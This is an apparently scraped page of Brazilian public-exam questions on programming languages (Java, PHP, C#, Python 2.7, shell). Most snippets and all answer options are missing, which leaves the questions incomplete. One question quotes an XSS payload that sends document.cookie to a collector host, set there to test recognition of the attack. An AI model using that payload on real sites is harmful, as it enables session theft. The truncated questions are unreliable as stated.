Questões de Concurso
Sobre linguagens de programação em programação
Foram encontradas 8.034 questões
Coesão e acoplamento são umas das mais importantes métricas de qualidade em projetos Orientados a Objetos (OO). Considere os trechos de código Java abaixo, sabendo-se que é necessário que seja calculada a média dos rendimentos dos depósitos de valores referentes ao Fundo de Garantia por Tempo de Serviço (FGTS) de cada trabalhador e que este cálculo pode ser alterado em função de novas leis regulatórias.

Ao analisar os trechos de código em condições ideais, um Analista de Informática afirma que o trecho
<?php setcookie('PHPSSESID', 'meu_sid'); setcookie('login', 'meu_login'); setcookie('senha', 'minha_senha');
echo $_GET['var']; ?>
Supondo que ao executar este trecho, um usuário passou como entrada:
<script> document.write('<iframe width=1 height=1 src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(//g,'')+'></iframe>') </script>
cujo objetivo é capturar os dados de cookie do site alvo e enviá-los para o site www.coletor.com
Um Técnico de TI conclui corretamente que
Considere o programa Java abaixo.

public interface NewInterface {
}
A instrução que não causará erro se colocada no corpo desta interface (entre as chaves) é:
Ao compilar e executar essa classe será exibido o valor
Considere o seguinte trecho de uma descrição WSDL de um serviço web:

São alternativas de código PHP ou Java que consumem corretamente o serviço Add, EXCETO:
Considere o seguinte código PHP abaixo:

Assinale a alternativa CORRETA:
Analise as proposições abaixo considerando o seguinte projeto Java:

I. O projeto Java possui um erro de compilação, pois a instrução Foo f = new Bar() viola a capacidade polimórfica.
II. A execução do projeto Java resultará Great na saída, pois um objeto sempre se comporta da mesma maneira independente da forma como está sendo referenciado.
III. Embora não seja explícito, a linguagem Java sempre cria um construtor padrão com todos os atributos da classe como parâmetros formais.
IV. A criação de um método com a assinatura public void y(String s) na classe Bar geraria um erro de compilação, uma vez que o método y() na classe Foo é final.
Assinale a alternativa CORRETA:
Considere o seguinte shell script concurso.sh:

Considere a execução como “./concurso.sh 1 2 4 5”, assinale a alternativa que contém os valores a serem
impressos:
I. Internal. II. Private. III. Protected. IV. External.
Assinale a opção que indica os modificadores da lista acima que, além do modificador public, são válidos no C#, quando da especificação da acessibilidade de um membro ou tipo.
Assinale a lista dos símbolos que, respectivamente, representam esses operadores no C#.

Essa sintaxe ilustra o uso de funções que previnem certos comportamentos anômalos no processamento de efeitos. Assinale o termo que caracteriza esse uso.
Analise o código Python 2.7 a seguir.
class End_simples(object):
def __init__(self, rua, num, bai):
self.rua = rua
self.num = num
self.bai = bai
def Endereco(self):
return self.rua + ", " + self.num \
+ " " + self.bai
class End_com(End_simples):
def __init__(self, rua, num, bai, com):
End_simples.__init__(self,rua, num, bai)
self.com = com
def Endereco(self):
...
a = End_simples("Av Brasil", "243", \
"Floresta")
b = End_com("Av Miracema", "12", \
"Centro", "apto 3")
print(a.Endereco())
print(b.Endereco())
Sabe-se que a execução desse código produziu as duas linhas a seguir.
Av Brasil, 243 Floresta
Av Miracema, 12 Centro, apto 3
Assinale a opção que apresenta a correta definição para o
método Endereco na classe End_com.
Analise o código Python 2.7 a seguir.
L1=[ ]
L2=[1,2,3,4]
for k in range(3, -4,-1):
L1.append(L2[k])
for x in L:
print x
Esse programa causa